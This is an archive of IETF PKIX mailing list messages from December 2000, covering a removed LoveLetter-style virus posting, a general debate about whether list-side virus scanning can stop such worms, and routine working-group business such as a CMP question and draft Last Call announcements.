     Modified:      12/18/2000 10:24:59 AM
     Status:        Removed
     Scanner:       Norman Scan DLL (version 4700) found
VBS/LoveLetter_based@mm




This communication is for informational purposes only.  It is not intended as
an offer or solicitation for the purchase or sale of any financial instrument
or as an official confirmation of any transaction. All market prices, data
and other information are not warranted as to completeness or accuracy and
are subject to change without notice. Any comments or statements made herein
do not necessarily reflect those of J.P. Morgan & Co. Incorporated, its
subsidiaries and affiliates.



From owner-ietf-pkix@imc.org  Mon Dec 18 11:40:16 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10714
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 11:40:15 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA11830;
	Mon, 18 Dec 2000 08:36:24 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 08:34:57 -0800
Received: from charmander.ncipherusa.com (mail.ncipherusa.com [4.21.180.211])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA11654
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 08:34:56 -0800 (PST)
Received: from franklin (mail.ncipherusa.com [172.24.8.2])
	by charmander.ncipherusa.com (8.9.3/8.9.3) with SMTP id LAA14517;
	Mon, 18 Dec 2000 11:42:27 -0500 (EST)
	(envelope-from wafranklin@us.ncipher.com)
From: "William A. Franklin" <wafranklin@us.ncipher.com>
To: <jeanne.gorman@baltimore.com>, <ietf-pkix@imc.org>
Subject: RE: US PRESIDENT AND FBI SECRETS =PLEASE VISIT => (http://WWW.2600.COM)<=
Date: Mon, 18 Dec 2000 17:36:18 +0100
Message-ID: <NEBBLCHHGLIAKPFFGFFOCEGOCKAA.wafranklin@us.ncipher.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 1 (Highest)
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <00c801c06904$533323e0$2683000a@us.cybertrust.com>
Importance: High
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Do not open referenced message attachment - it is a virus

-----Original Message-----
From: Jeanne Gorman [mailto:jeanne.gorman@baltimore.com]
Sent: Monday, December 18, 2000 4:01 PM
To: ietf-pkix@imc.org
Subject: US PRESIDENT AND FBI SECRETS =PLEASE VISIT =>
(http://WWW.2600.COM)<=



VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES..


From owner-ietf-pkix@imc.org  Mon Dec 18 14:40:11 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA14010
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 14:40:10 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA22680;
	Mon, 18 Dec 2000 11:33:58 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 11:33:43 -0800
Received: from poptop.llnl.gov (poptop.llnl.gov [128.115.41.70])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA22649
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 11:33:42 -0800 (PST)
Received: from catalyst (catalyst.llnl.gov [128.115.222.68])
          by poptop.llnl.gov (8.8.8/LLNL-3.0.2/pop.llnl.gov-5.1) with ESMTP
	  id LAA26749 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 11:36:20 -0800 (PST)
Message-Id: <4.2.2.20001218113731.00aca300@poptop.llnl.gov>
X-Sender: e048786@poptop.llnl.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Mon, 18 Dec 2000 11:41:19 -0800
To: ietf-pkix@imc.org
From: Tony Bartoletti <azb@llnl.gov>
Subject: Our Own Worst Enemy?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is fascinating, and just a bit depressing.

Simply email a virus to a public email discussion list, and watch it 
transform into a mailbox-choking spam attack as every subscribing 
organization's virus scanners echo their warnings back to the list.

:(

___tony___


Tony Bartoletti 925-422-3881 <azb@llnl.gov>
Information Operations, Warfare and Assurance Center
Lawrence Livermore National Laboratory
Livermore, CA 94551-9900



From owner-ietf-pkix@imc.org  Mon Dec 18 17:36:15 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA16745
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 17:36:14 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA01350;
	Mon, 18 Dec 2000 14:32:10 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 14:32:02 -0800
Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA01312
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 14:31:54 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21)
	id <XJNARA3F>; Mon, 18 Dec 2000 17:34:38 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD053EED@sottmxs09.entrust.com>
From: Carlisle Adams <carlisle.adams@entrust.com>
To: "'Margus Freudenthal'" <margus@cyber.ee>
Cc: PKIX list <ietf-pkix@imc.org>
Subject: RE: CMP question
Date: Mon, 18 Dec 2000 17:35:19 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C06942.CD48EB40"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C06942.CD48EB40
Content-Type: text/plain

Hi Margus,

> ----------
> From: 	Margus Freudenthal[SMTP:margus@cyber.ee]
> Sent: 	Monday, December 18, 2000 6:13 AM
> To: 	Carlisle Adams
> Cc: 	PKIX list
> Subject: 	Re: CMP question
> 
> Hello.
> 
> > Carlisle Adams wrote:
> > 
> > If "the sending party needs to know that (a particular) receiver has
> > really got and understood the message", then the sender should use
> > some mechanism other than a broadcast announcement to achieve this.
> 
> In that case, what CMP message should be used for sending "personal"
> announcements which require confirmation receipts?
 
That sort of facility is not in the currently-specified CMP messages.  A new
genMsg / genRep pair would have to be defined to accommodate this.

I have to admit, however, that (to me) the words "personal" and
"announcement" don't seem to go that well together.  I think that most
people associate the concept of an "announcement" with several recipients,
each of whom may or may not send any kind of response.

Carlisle.


------_=_NextPart_001_01C06942.CD48EB40
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: CMP question</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Margus,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Margus =
Freudenthal[SMTP:margus@cyber.ee]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Monday, December 18, 2000 6:13 =
AM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans Serif">Carlisle =
Adams</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Cc:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans Serif">PKIX =
list</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">Re: CMP question</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hello.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; Carlisle Adams wrote:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; If &quot;the sending party needs =
to know that (a particular) receiver has</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; really got and understood the =
message&quot;, then the sender should use</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; some mechanism other than a =
broadcast announcement to achieve this.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">In that case, what CMP message should =
be used for sending &quot;personal&quot;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">announcements which require =
confirmation receipts?</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">That sort =
of facility is not in the currently-specified CMP messages.&nbsp; A new =
genMsg / genRep pair would have to be defined to accommodate =
this.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">I have to =
admit, however, that (to me) the words &quot;personal&quot; and =
&quot;announcement&quot; don't seem to go that well together.&nbsp; I =
think that most people associate the concept of an =
&quot;announcement&quot; with several recipients, each of whom may or =
may not send any kind of response.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C06942.CD48EB40--


From owner-ietf-pkix@imc.org  Tue Dec 19 04:52:41 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA10211
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 04:52:40 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id BAA12063;
	Tue, 19 Dec 2000 01:48:47 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 01:48:29 -0800
Received: from ar_exchange.arx.com (eliz.arx.com [212.25.66.95])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA11936
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 01:48:21 -0800 (PST)
Received: by eliz.arx.com with Internet Mail Service (5.5.2650.21)
	id <Z1QFG5FF>; Tue, 19 Dec 2000 11:19:07 +0200
Message-ID: <D51E45F5A88FD411B39700508BEEFF76070764@eliz.arx.com>
From: Ilan Shacham <ilans@arx.com>
To: "'Tony Bartoletti'" <azb@llnl.gov>
Cc: ietf-pkix@imc.org
Subject: RE: Our Own Worst Enemy?
Date: Tue, 19 Dec 2000 11:19:06 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id BAA11966
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id BAA12063
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id EAA10211

True, But if the list engine included virus checking BEFORE sending
the message to everyone in the list, we could solve this whole
problem.

Ilan

-----Original Message-----
From: Tony Bartoletti [mailto:azb@llnl.gov]
Sent: éåí ùðé 18 ãöîáø 2000 21:41
To: ietf-pkix@imc.org
Subject: Our Own Worst Enemy?


This is fascinating, and just a bit depressing.

Simply email a virus to a public email discussion list, and watch it 
transform into a mailbox-choking spam attack as every subscribing 
organization's virus scanners echo their warnings back to the list.

:(

___tony___


Tony Bartoletti 925-422-3881 <azb@llnl.gov>
Information Operations, Warfare and Assurance Center
Lawrence Livermore National Laboratory
Livermore, CA 94551-9900


From owner-ietf-pkix@imc.org  Tue Dec 19 09:47:12 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA14756
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 09:47:12 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA03901;
	Tue, 19 Dec 2000 06:43:06 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 06:40:59 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA03540
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 06:40:58 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id JAA14442
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 09:44:09 -0500 (EST)
Message-Id: <4.2.0.58.20001219092316.01f73150@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Tue, 19 Dec 2000 09:39:39 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: Out Of Scope (WAS: Thin PKI won - You lost)
In-Reply-To: <D51E45F5A88FD411B39700508BEEFF76070764@eliz.arx.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


Folks,

This is an extremely busy working group.  We currently have twenty 
Internet-Drafts.  To complete some of these documents, we need a mailing 
list where people are making positive contributions to the process.

Unfortunately, a large percentage of the bandwidth has been consumed of 
late by threads that are way out of scope.  There are so many off-topic 
posts that the serious posts tend to go to unnoticed.

This is the mailing list for the "Public Key Infrastructure Using X.509" 
working group, not the SPKI/XML Certificate/etc.. working group.  Our 
charter is "developing Internet standards needed to support an X.509-based 
PKI".  (For those that have not read it, you will find this document at 
http://www.ietf.org/html.charters/pkix-charter.html).

A submission to this list is appropriate if

#1 the message contains a constructive comment or a question regarding  one 
of our twenty I-Ds!  (And, no, "start over with XML" is not a constructive 
comment.)

#2 the message discusses possible new standardization efforts "needed to 
support an X.509-based PKI".

If the message does not satisfy #1 or #2 it is *OUT OF SCOPE*.  If you have 
something to say about topics that are not within the working group's 
scope, you should take them to another list.  If you wish to have a debate, 
send personal email.  The rest of the group does not need to watch; it is 
inconsiderate to consume our bandwidth with your time on the soap box.

If a message appears on the list, and you feel it is out of scope, please 
either (a) ignore the posting, or (b) respond directly.  Let's get the list 
moving again, so we can complete some of our current work items.

Thank You,

Tim "The Grinch" Polk


From owner-ietf-pkix@imc.org  Tue Dec 19 10:02:53 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA15254
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 10:02:52 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA05033;
	Tue, 19 Dec 2000 06:58:55 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 06:58:52 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA04886
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 06:58:44 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id KAA26083
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:01:55 -0500 (EST)
Message-Id: <4.2.0.58.20010119094359.01f72cb0@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 19 Jan 2001 09:50:01 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: WG Last Call, RFC 2511bis
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


This message announces Working Group Last Call for the updates to RFC 2511 
(CRMF).  The specification is currently available at 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2511bis-00.txt. 
The chairs plan to request Draft Standard status for this document, based 
on its current status as a Proposed Standard and the interoperability 
testing Bob Moskowitz and the PKI Forum have performed.

As the normal two weeks will include holiday vacations for many, Last Call 
will remain open through January 8, 2001.

Thanks,

Tim Polk 


From owner-ietf-pkix@imc.org  Tue Dec 19 10:02:54 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA15265
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 10:02:53 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA04981;
	Tue, 19 Dec 2000 06:58:51 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 06:58:45 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA04881
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 06:58:44 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id KAA26079
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:01:55 -0500 (EST)
Message-Id: <4.2.0.58.20001219093943.01f74d60@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 19 Jan 2001 09:43:56 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: WG Last Call, PKI Roadmap
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


This message announces Working Group Last Call for the PKIX Roadmap.  The 
specification is currently available at 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-roadmap-06.txt.  The 
chairs plan to request Informational status for this document.

As the normal two weeks will include holiday vacations for many, Last Call 
will remain open through January 8, 2001.

Thanks,

Tim Polk


From owner-ietf-pkix@imc.org  Tue Dec 19 10:02:54 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA15267
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 10:02:54 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA04988;
	Tue, 19 Dec 2000 06:58:51 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 06:58:46 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA04898
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 06:58:45 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id KAA26094
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:01:56 -0500 (EST)
Message-Id: <4.2.0.58.20010119095009.01f74c50@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 19 Jan 2001 09:58:34 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: WG Last Call, PKI Repository Locator
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


This message announces Working Group Last Call for the Repository Locator 
Service Draft.  The specification is currently available at 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-pkixrep-00.txt  The 
chairs plan to request Experimental status for this document.

As most of you know, there is no requirement for a WG Last Call for 
experimental RFCs.  However, this specification has been through only a 
single draft, and has drawn a very small number of comments.  I am hoping 
that a Last Call will prompt some of you to review the specification.

In my opinion, this specification addresses an important problem - disjoint 
certificate repositories (e.g., unrelated LDAP drectories.)  This 
specification is ahead of the product curve, so it would be appropriate to 
go to Experimental status.  As product and experience catches up, we can 
revisit this work

As the normal two weeks will include holiday vacations for many, Last Call 
will remain open through January 8, 2001.

Thanks,

Tim Polk 


From owner-ietf-pkix@imc.org  Tue Dec 19 10:02:56 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA15287
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 10:02:55 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA04977;
	Tue, 19 Dec 2000 06:58:50 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 06:58:46 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA04890
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 06:58:45 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id KAA26090
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:01:56 -0500 (EST)
Message-Id: <4.2.0.58.20010119094641.01f15320@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 19 Jan 2001 09:48:59 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: WG Last Call, RFC 2510bis
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


This message announces Working Group Last Call for the updates to RFC 2510 
(CMP).  The specification is currently available at 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2510bis-02.txt.  The 
chairs plan to request Draft Standard status for this document, based on 
its current status as a Proposed Standard and the interoperability testing 
Bob Moskowitz and the PKI Forum have performed.

As the normal two weeks will include holiday vacations for many, Last Call 
will remain open through January 8, 2001.

Thanks,

Tim Polk


From owner-ietf-pkix@imc.org  Tue Dec 19 10:25:19 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA15966
	for <pkix-archive@odin.ietf.org>; Tue, 19 Dec 2000 10:25:18 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA08012;
	Tue, 19 Dec 2000 07:21:27 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 19 Dec 2000 07:21:22 -0800
Received: from alcove.wittsend.com (IDENT:root@alcove.wittsend.com [130.205.0.20])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA07968
	for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 07:21:21 -0800 (PST)
Received: (from mhw@localhost)
	by alcove.wittsend.com (8.9.3/8.9.3) id KAA21847;
	Tue, 19 Dec 2000 10:24:07 -0500
Date: Tue, 19 Dec 2000 10:24:06 -0500
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Ilan Shacham <ilans@arx.com>
Cc: "'Tony Bartoletti'" <azb@llnl.gov>, ietf-pkix@imc.org
Subject: Re: Our Own Worst Enemy?
Message-ID: <20001219102406.A2182@alcove.wittsend.com>
References: <D51E45F5A88FD411B39700508BEEFF76070764@eliz.arx.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
User-Agent: Mutt/1.3.2i
In-Reply-To: <D51E45F5A88FD411B39700508BEEFF76070764@eliz.arx.com>; from ilans@arx.com on Tue, Dec 19, 2000 at 11:19:06AM +0200
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id HAA08012
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA15966

On Tue, Dec 19, 2000 at 11:19:06AM +0200, Ilan Shacham wrote:
> True, But if the list engine included virus checking BEFORE sending
> the message to everyone in the list, we could solve this whole
> problem.

	No...

	<Minor Rant>

	No offense but what level of reality did you just come down off of?

	Virus checking HELPS (maybe) but it CAN'T "solve this whole
problem".  It can not, and will not, even in principle.  At worse, the
next time a virus slips through that it doesn't recognized or using
an encoding it doesn't recognize people will naturally assume that it
must be OK since it passed the virus filters.  (Been there, done that,
heard the sob stories.)

	Repeat after me...  Virus checking can NEVER prove something is
safe, it can GENERALLY indicate that something is PROBABLY dangerous
if not handled properly.  The virus scanner at my office keeps pissing
me off because I have to routinely handle cybertoxins like this and it
keeps filtering them out.  So they get zipped and encoded and encrypted
with all sorts of tricks to bypass the virus checker (HINT! HINT!).  Since
I run Linux and never use a mail program that allows active contect,
these things are pretty much safe for me to handle (And I want to thank
this list, I hadn't captured a sample of that macro worm yet.  :-) )

	On the mailing lists I run, we ban all HTML and most attachments,
PERIOD.  Even with the virus scanner front end, it is impossible to
keep up with the thousands of new viruses that are coming out, even if
we updated our signature files daily (assuming the anti-virus vendors
were updating daily).  The mailing lists get the double shield of blocking
any vehicle which can carry cybertoxins.  Ok...  Well...  Maybe not any.
We don't shield you if you are still vulnerable to the old ANSI bomb,
but there are things that are just TOO old to worry about.  :-)

	Over the last year, we have had a half a dozen virus incidents,
in spite of having ingress filtering on Unix, egress filtering on Unix,
and mailbox scanning on Exchange with multiple different virus scanners
and virus scanners on the individual NT workstations with centrally
managed signature files.

	The scanners are guarenteed to be always at least a little bit
out of date (look at how fast the "I love you" worm or explore.zip spred)
and the technology is not always well integrated (The virus scanner on
Exchange consistantly falls behind the spred of the toxin when one gets
that far).  When one of these incidents does occur, easily 2/3 of all
the victims fall back on the argument "well, I thought it was safe
because we have virus scanners, why did I get hit".  "Well, $#@$#@#@ DUH!
Why did you open the $#@$# thing?"

	It still remains a social problem and technology is not going
to protect fools who don't use common sense and run stupid shit.  In
this case, stupid shit consists of the entire domain of active content
in E-Mail and their potential carrier vehicles.

	Think about this now...  The latest spammer trick is to send
out HTML E-Mail with a "web bug".  That's a single pixel image that
points back to their web site.  Drop one of those on a mailing list
and you find out where people are reading the mailing list on.  You
also generally find out what their system type and browser type
is.  Get them to retrieve it by anonymous ftp, and you can also
reap a lot of E-Mail addresses.  Anyone who is reading E-Mail from a
mailing list with an HTML enabled reader or with active content enabled
or decided to just peek at that "greeting card" just out of curiosity,
is a DAMN FOOL.

	No...  Virus scanning is not the solution.  At best it's a leaky
bandaid that will cover some fools and trick other fools into thinking
they are safe.  Are the list managers then liable if their bandaid
doesn't cover what you think is enough and your system is corrupted by
something their filters let through?

	Application Programmer's Saying:  "Programming is a race between
Software Engineers who try to develop idiot proof programs and the
Universe which is trying to develop bigger and better idiots".

	Software Engineer's Saying:  "So far, the Universe is winning".

	</Minor Rant>

	If you want to do something effect then ban all mail on this list
containing HTML or HTML attachments, any Microsoft extensions (.doc, .exe,
.shs, .bat, .com, .xls...) or just plain block anything that is not
Mime type "plain/text" or simple text.  Then you might have a start at
covering the majority of possibilities.  It might even raise the quality
of the list.  :-)

> Ilan

> -----Original Message-----
> From: Tony Bartoletti [mailto:azb@llnl.gov]
> Sent: éåí ùðé 18 ãöîáø 2000 21:41
> To: ietf-pkix@imc.org
> Subject: Our Own Worst Enemy?
> 
> 
> This is fascinating, and just a bit depressing.
> 
> Simply email a virus to a public email discussion list, and watch it 
